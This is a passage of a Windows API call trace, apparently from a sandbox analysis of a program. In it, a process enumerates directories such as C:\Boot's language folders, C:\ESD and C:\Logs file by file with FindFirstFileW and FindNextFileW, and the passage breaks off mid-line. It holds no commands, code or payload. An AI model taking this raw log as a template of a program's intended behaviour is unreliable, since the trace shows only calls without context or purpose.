[0291.665] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.665] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.665] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fcfc8 [0291.665] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.665] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.665] FindNextFileW (in: hFindFile=0x7fcfc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.665] FindClose (in: hFindFile=0x7fcfc8 | out: hFindFile=0x7fcfc8) returned 1 [0291.665] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.665] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.665] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.665] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fcbc8 [0291.666] FindNextFileW (in: hFindFile=0x7fcbc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.666] FindNextFileW (in: hFindFile=0x7fcbc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.666] FindNextFileW (in: hFindFile=0x7fcbc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.666] FindNextFileW (in: hFindFile=0x7fcbc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.666] FindClose (in: hFindFile=0x7fcbc8 | out: hFindFile=0x7fcbc8) returned 1 [0291.666] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.666] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.666] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fcc08 [0291.666] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.666] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.666] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.666] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.667] FindClose (in: hFindFile=0x7fcc08 | out: hFindFile=0x7fcc08) returned 1 [0291.667] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.667] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.667] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fccc8 [0291.667] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.667] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.667] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.667] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.667] FindClose (in: hFindFile=0x7fccc8 | out: hFindFile=0x7fccc8) returned 1 [0291.667] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.667] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.667] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fd1c8 [0291.667] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.668] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.668] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.668] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.668] FindClose (in: hFindFile=0x7fd1c8 | out: hFindFile=0x7fd1c8) returned 1 [0291.668] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.668] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.668] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fcdc8 [0291.668] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.668] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.668] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.668] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.668] FindClose (in: hFindFile=0x7fcdc8 | out: hFindFile=0x7fcdc8) returned 1 [0291.668] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.669] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.669] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fcd48 [0291.669] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.669] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.669] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.669] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.669] FindClose (in: hFindFile=0x7fcd48 | out: hFindFile=0x7fcd48) returned 1 [0291.669] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.669] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.669] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fd2c8 [0291.669] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.669] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.670] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.670] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 0x7fd008 [0291.670] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0291.670] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0291.671] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 0 [0291.671] FindClose (in: hFindFile=0x7fd008 | out: hFindFile=0x7fd008) returned 1 [0291.671] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0291.671] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.671] FindClose (in: hFindFile=0x7fd2c8 | out: hFindFile=0x7fd2c8) returned 1 [0291.671] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.671] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.671] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fd2c8 [0291.671] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.671] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.671] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.671] FindClose (in: hFindFile=0x7fd2c8 | out: hFindFile=0x7fd2c8) returned 1 [0291.671] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.672] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.672] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fcdc8 [0291.672] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.672] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.672] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.672] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.672] FindClose (in: hFindFile=0x7fcdc8 | out: hFindFile=0x7fcdc8) returned 1 [0291.672] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.672] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.672] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fcf08 [0291.672] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.672] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.673] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.673] FindClose (in: hFindFile=0x7fcf08 | out: hFindFile=0x7fcf08) returned 1 [0291.673] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.673] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.673] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fd0c8 [0291.673] FindNextFileW (in: hFindFile=0x7fd0c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.673] FindNextFileW (in: hFindFile=0x7fd0c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.673] FindNextFileW (in: hFindFile=0x7fd0c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.673] FindClose (in: hFindFile=0x7fd0c8 | out: hFindFile=0x7fd0c8) returned 1 [0291.673] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.673] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.673] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fcd48 [0291.673] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.674] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.674] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.674] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.674] FindClose (in: hFindFile=0x7fcd48 | out: hFindFile=0x7fcd48) returned 1 [0291.674] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.674] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.674] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fce88 [0291.674] FindNextFileW (in: hFindFile=0x7fce88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.674] FindNextFileW (in: hFindFile=0x7fce88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.674] FindNextFileW (in: hFindFile=0x7fce88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.674] FindClose (in: hFindFile=0x7fce88 | out: hFindFile=0x7fce88) returned 1 [0291.674] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.674] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.674] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fcf48 [0291.675] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.675] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.675] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.675] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.675] FindClose (in: hFindFile=0x7fcf48 | out: hFindFile=0x7fcf48) returned 1 [0291.675] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.675] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.675] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fcd48 [0291.675] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.675] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.676] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.676] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.676] FindClose (in: hFindFile=0x7fcd48 | out: hFindFile=0x7fcd48) returned 1 [0291.676] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.676] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.676] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fd048 [0291.676] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.676] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.676] FindNextFileW (in: hFindFile=0x7fd048, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.676] FindClose (in: hFindFile=0x7fd048 | out: hFindFile=0x7fd048) returned 1 [0291.676] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.676] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.676] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.677] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fccc8 [0291.677] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.677] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.677] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.677] FindNextFileW (in: hFindFile=0x7fccc8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.677] FindClose (in: hFindFile=0x7fccc8 | out: hFindFile=0x7fccc8) returned 1 [0291.677] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.677] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.677] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fcf08 [0291.677] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.677] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.677] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.678] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.678] FindClose (in: hFindFile=0x7fcf08 | out: hFindFile=0x7fcf08) returned 1 [0291.678] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.678] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.678] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fcd48 [0291.678] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.678] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.678] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.678] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.678] FindClose (in: hFindFile=0x7fcd48 | out: hFindFile=0x7fcd48) returned 1 [0291.678] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.678] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 0 [0291.678] FindClose (in: hFindFile=0x7fd288 | out: hFindFile=0x7fd288) returned 1 [0291.679] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x700000) returned 1 [0291.679] FindNextFileW (in: hFindFile=0x7153a8, lpFindFileData=0x39ffcf8 | out: lpFindFileData=0x39ffcf8) returned 1 [0291.679] FindNextFileW (in: hFindFile=0x7153a8, lpFindFileData=0x39ffcf8 | out: lpFindFileData=0x39ffcf8) returned 1 [0291.679] FindNextFileW (in: hFindFile=0x7153a8, lpFindFileData=0x39ffcf8 | out: lpFindFileData=0x39ffcf8) returned 1 [0291.679] FindNextFileW (in: hFindFile=0x7153a8, lpFindFileData=0x39ffcf8 | out: lpFindFileData=0x39ffcf8) returned 1 [0291.680] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 0xffffffff [0291.680] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x700000) returned 1 [0291.680] FindNextFileW (in: hFindFile=0x7153a8, lpFindFileData=0x39ffcf8 | out: lpFindFileData=0x39ffcf8) returned 1 [0291.680] FindFirstFileW (in: lpFileName="C:\\ESD\\*", lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 0x7fd2c8 [0291.681] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.681] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 0 [0291.681] FindClose (in: hFindFile=0x7fd2c8 | out: hFindFile=0x7fd2c8) returned 1 [0291.681] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x700000) returned 1 [0291.681] FindNextFileW (in: hFindFile=0x7153a8, lpFindFileData=0x39ffcf8 | out: lpFindFileData=0x39ffcf8) returned 1 [0291.681] FindNextFileW (in: hFindFile=0x7153a8, lpFindFileData=0x39ffcf8 | out: lpFindFileData=0x39ffcf8) returned 1 [0291.681] FindFirstFileW (in: lpFileName="C:\\Logs\\*", lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 0x7fd148 [0291.682] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.683] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.683] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.683] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.683] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.683] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.683] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.683] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.684] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.684] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.684] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.684] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.684] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.684] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.684] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.684] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.685] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.685] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.685] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.685] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.685] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.685] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.685] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.685] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.686] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.686] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.686] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.686] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.686] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.686] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.686] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.687] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.687] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.687] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.687] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.687] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.687] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.687] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.688] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: 